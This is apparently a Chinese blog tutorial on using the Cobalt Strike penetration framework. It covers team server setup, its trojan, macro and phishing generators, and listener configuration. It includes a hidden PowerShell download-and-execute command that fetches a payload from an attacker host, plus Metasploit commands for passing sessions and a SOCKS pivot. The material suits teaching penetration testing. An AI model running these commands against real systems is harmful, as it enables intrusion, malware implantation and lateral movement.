信息安全WEB渗透与网络安全网络与信息安全

Cobalt Strike渗透使用

2019-02-19  本文已影响4人  AnonySec

君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec

前言

Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。

钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。

Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。

Cobalt Strike 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。

安装

Cobalt Strike 分为客户端和服务端,可分布式操作、协同作战。但一定要架设在外网上,或者自己想要搭建的环境中,服务器端只能运行在Linux系统上。

服务端

服务端关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:

chmod 755 teamserver
./teamserver 192.168.40.129 test    # 服务端 IP 和密码
image.png

客户端

客户端在Windows、Linux、Mac下都可以运行。(需要配置好JAVA环境)

输入服务端的IP以及端口、密码,用户名可以任意设置。

image.png image.png

在控制台所有操作指令都会被记录保留在Cobalt Strike目录logs下。

参数详情

Cobalt Strike

New Connection   #进行另外一个连接,支持连接多个服务器端
Preferences   #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization   #主要展示输出结果的形式
VPN Interfaces   #设置VPN接口
Listenrs   #创建一个Listener
Script Manager   #脚本管理
Close   #退出连接

View

Applications   #显示受害者机器的应用信息
Credentials   #凭证当通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads   #下载文件
Event Log   #主机上线记录以及团队协作聊天记录
Keystrokes   #键盘记录
Proxy Pivots   #代理模块
Screenshots   #截图
Script Console   #控制台,在这里可以加载各种脚本 
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets   #显示目标
Web Log    #Web访问记录

Attacks

Packages
HTML Application   #生成恶意的HTA木马文件
MS Office Macro   #生成office宏病毒文件
Payload Generator   #生成各种语言版本的payload
USB/CD AutoPlay   #生成利用自动播放运行的木马文件
Windows Dropper   #捆绑器,能够对文档类进行捆绑
Windows Executable   #生成可执行exe木马
Windows Executable(S)   #生成无状态的可执行exe木马
Web Drive-by
Manage   #对开启的web服务进行管理
Clone Site   #克隆网站,可以记录受害者提交的数据
Host File   #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery   #类似于Metasploit的web_delivery 
Signed Applet Attack   #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack   #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler   #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish   #用来邮件钓鱼的模块

Reporting

activity report   #活动报告
Hosts report   #主机报告
Indicators of Compromise   #目标报告
Sessions report   #会话报告
Social engineering report   #社会工程报告
Export data   #数据出口

help

Homepage   #官方主页
Support   #技术支持
Arsenal   #开发者
System information   #版本信息
About   #关于

基本运行

首先使用Cobalt Strike需要创建一个Listener,点击Cobalt Strike > Listeners,然后点击Add便可以创建自己想要的Listeners 了。Cobalt Strike 3.8 包括:

windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

其中windows/beacon是Cobalt Strike自带的模块,包括dns、http、https、smb四种方式的监听器,windows/foreign为外部监听器,即Metasploit或者Armitage的监听器。选择监听器以后,host会自动填写我们开启服务时的 ip,配置监听端口,然后保存,监听器就创建好了。

image.png

在创建好监听器,接下来就需要配置客户端了,Cobalt Strike提供了多种包括攻击方式,在这里我们使用Powershell进行攻击。

image.png image.png
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.40.129:80/a'))"

当目标机运行上面这条Powershell之后,Cobalt Strike客户端就会监听到反弹链接,现在可以看到已经有目标机上线了。

image.png

与Metasploit进行联动

Cobalt Strike → Metasploit

Cobalt Strike获得了一个上线机器,想把这个机器传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp   #不要用x64的payload
set lhost 192.168.40.129
set lport 63
run -j
image.png

之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址,端口为Metasploit所监听的端口。

image.png

然后选中计算机,右键->Spawn:选择Metasploit的监听器:

image.png

这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。

image.png

Metasploit → Cobalt Strike

现在已经获得了一个meterpreter的session,把session传给Cobalt Strike。

image.png

在Cobalt Strike中创建一个监听者,和上一步类似,这里host需要修改为Cobalt Strike客户端IP,创建好之后便监听121端口,等待着被控机连接。

接下来,把meterpreter获得的session转交给Cobalt Strike,在Metasploit执行以下命令:

meterpreter > background 
use exploit/windows/local/payload_inject 
set payload windows/meterpreter/reverse_http
set lhost 192.168.40.129
set lport 121
set DisablePayloadHandler true   
set session 1
run 
image.png

这里我解释一下这些参数。由于Cobalt Strike的监听器我们使用的是:

windows/beacon_http/reverse_http

所以我们的payload也要使用:

payload windows/meterpreter/reverse_http

设置本地监听ip和端口,由于监听器是Cobalt Strike的,所以要用到Cobalt Strike机器的ip和端口。

默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:

set DisablePayloadHandler true

设置当前的session,执行。

image.png

此时目标机便已成功从Cobalt Strike上线,可以进行各种姿势的操作。

SOCKS 代理

根据上线的肉鸡,可以使用 SOCKS 代理


image.png

配置 proxychains.conf,添加 socks4 127.0.0.1 32557,然后就可以通过 proxychains 使用各种工具做内网渗透了。

总结

这里只是简单描述Cobalt Strike的用法,其中还有很多使用技巧。大家可以搭建环境,了解更多的玩法和乐趣!

在渗透过程中,不要仅限于单一模式的思路,根据实际的情况,选择更优的方法来进行下一步的渗透测试。

Wechat.jpg
上一篇 下一篇

猜你喜欢

热点阅读